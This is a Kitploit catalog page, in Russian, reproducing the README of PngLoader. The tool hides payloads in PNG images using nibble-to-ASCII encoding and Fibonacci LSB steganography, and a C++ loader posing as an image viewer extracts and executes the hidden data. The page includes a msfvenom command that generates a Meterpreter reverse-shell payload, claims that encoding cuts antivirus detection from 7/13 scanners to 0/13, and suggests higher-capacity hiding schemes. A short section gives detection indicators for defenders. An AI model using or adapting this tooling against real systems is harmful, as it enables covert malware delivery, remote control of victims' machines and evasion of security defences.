Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PngLoader — Скрывает произвольные полезные нагрузки в PNG-изображениях с использованием кодирования полубайтов в ASCII и стеганографии LSB на основе чисел Фибоначчи, с загрузчиком на C++, который извлекает и выполняет встроенные данные. | Kitploit
Инструменты/GitHubGitHub/i014n/pngloader
Оборонительные ИнструментыГенерация полезной нагрузкиЭксплуатацияШелл-кодСтеганографияАнализ вредоносных программОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubi014n/pngloader

PngLoader

Скрывает произвольные полезные нагрузки в PNG-изображениях с использованием кодирования полубайтов в ASCII и стеганографии LSB на основе чисел Фибоначчи, с загрузчиком на C++, который извлекает и выполняет встроенные данные.

313022 ч 46 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Репозиторий
Поделиться

PngLoader — исследование стеганографической полезной нагрузки

Отказ от ответственности: Этот проект предназначен только для образовательных целей и авторизованных исследований в области безопасности — тестирования на проникновение, соревнований CTF, учений red team и академического изучения. Не используйте его против систем без явного письменного разрешения.


Обзор

PngLoader скрывает произвольные данные внутри PNG-изображений с помощью двух слоёв:

  1. Кодирование полубайтов в ASCII — двоичные данные → печатные ASCII-символы
  2. Стеганография на основе Фибоначчи — закодированные данные → разбросанные пиксели в PNG
  3. Загрузчик — Windows-«просмотрщик PNG», который извлекает и запускает скрытые данные

Быстрый старт

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

Демонстрация PoC

Демонстрация PoC


Структура проекта

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

Как это работает

Этап 1 — кодирование полубайтов в ASCII

Каждый байт разбивается на два 4-битных полубайта. Каждый полубайт отображается в печатный ASCII-символ путём добавления случайной базы (48, 64 или 96):

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

Декодирование использует свойство по модулю 16 — все три основания кратны 16:

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

Случайный выбор базы означает, что один и тот же вход даёт разный выход каждый раз, но декодирование всегда детерминировано.

БазаДиапазонСимволы
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

Этап 2 — стеганография Фибоначчи

Байты полезной нагрузки размещаются по индексам пикселей в соответствии с последовательностью Фибоначчи (1, 2, 3, 5, 8, 13, 21, …) в развёрнутом массиве пикселей. Это распределяет изменения по всему изображению, а не группирует их.

Упаковка битов — каждый байт разбивается 3/3/2 по младшим битам RGB:

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

Перенос — когда индексы Фибоначчи превышают количество пикселей, они переносятся по модулю. Коллизии разрешаются линейным пробированием. Терминатор 0x00 обозначает конец данных.

Размер изображенияПикселиЧистая ёмкость
640×480307,200~27 байт
1920×10802,073,600~31 байт
4000×300012M~35 байт

При включённом переносе максимальная ёмкость = total_pixels − 1.

Этап 3 — Загрузчик

Загрузчик на C++ (loader_png.cpp) действует как легитимная программа просмотра PNG:

  1. Отображает изображение обычным образом с помощью GDI+
  2. Извлекает скрытые байты из позиций пикселей Фибоначчи с помощью WIC (RGB24)
  3. Декодирует ASCII → двоичный код через UtilDecryptFileQuoted() (обращение по модулю 16)

Альтернативные алгоритмы позиционирования

Последовательность Фибоначчи — лишь один из подходов. Другие стратегии выбора пикселей предлагают иные компромиссы между ёмкостью и безопасностью:

АлгоритмЧистая ёмкость (1080p)Общий ключРаспределениеСтоимость
Fibonacci (реализован)~31 байтНетЭкспоненциальные промежуткиМинимальная
Prime-Index~150K байтНетПромежутки n·ln(n)Умеренная
LFSR~2M байтДа (seed)ПсевдослучайноеМинимальная
Keyed Permutation~2M байтДа (ключ)КриптографическоеВысокая
Hilbert CurveЗависит от шагаНетПространственно равномерноеУмеренная
Golden Ratio (Weyl)~2M байтНетНизкая дисперсияМинимальная
Подробности по каждому алгоритму

Prime-Index — Индексы пикселей являются простыми числами (2, 3, 5, 7, 11…). Простые числа растут как n·ln(n), что даёт гораздо более высокую чистую ёмкость, чем у Фибоначчи.

LFSR — Регистр сдвига с линейной обратной связью максимальной длины порождает псевдослучайную перестановку. Seed выступает в роли общего секрета. Нулевые коллизии на полном периоде.

Keyed Permutation (Fisher-Yates) — Перемешивание всех индексов пикселей с затравкой от CSPRNG. Без ключа позиции неотличимы от случайных.

Hilbert Curve — Обход пикселей вдоль пространственно-заполняющей кривой с заданным шагом. Равномерно распределяет изменения по двумерной области изображения.

Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Даёт максимально равномерное одномерное распределение из возможных. Тривиально вычисляется.


Результаты сканирования

Необработанная полезная нагрузка — 7/13 сканеров обнаруживают её:

Raw payload scan

После кодирования — 0/13 сканеров обнаруживают её:

Encoded payload scan


Рекомендации по обнаружению

Для blue-team / защитников:

УровеньИндикатор
СтатическийИмпорты: VirtualAllocEx, WriteProcessMemory, SetThreadContext
ИзображениеСтегоанализ хи-квадрат по LSB-плоскостям выявляет модификации
ПоведенческийСоздание приостановленного процесса + удалённая инъекция потока (Sysmon EID 1+8)
КодированиеСимволы исключительно из трёх 16-символьных диапазонов ASCII

Сборка и зависимости

Python:

pip install numpy Pillow

Загрузчик на C++:

  • Visual Studio 2019+ с рабочей нагрузкой «Разработка классических приложений на C++»
  • Windows 10+ SDK
  • Откройте 1.Loader/Loader_png.vcxproj → Сборка Release x64

Ссылки

  • LSB Steganography
  • Fibonacci Sequence
  • Windows Imaging Component

Лицензия

Скачать инструмент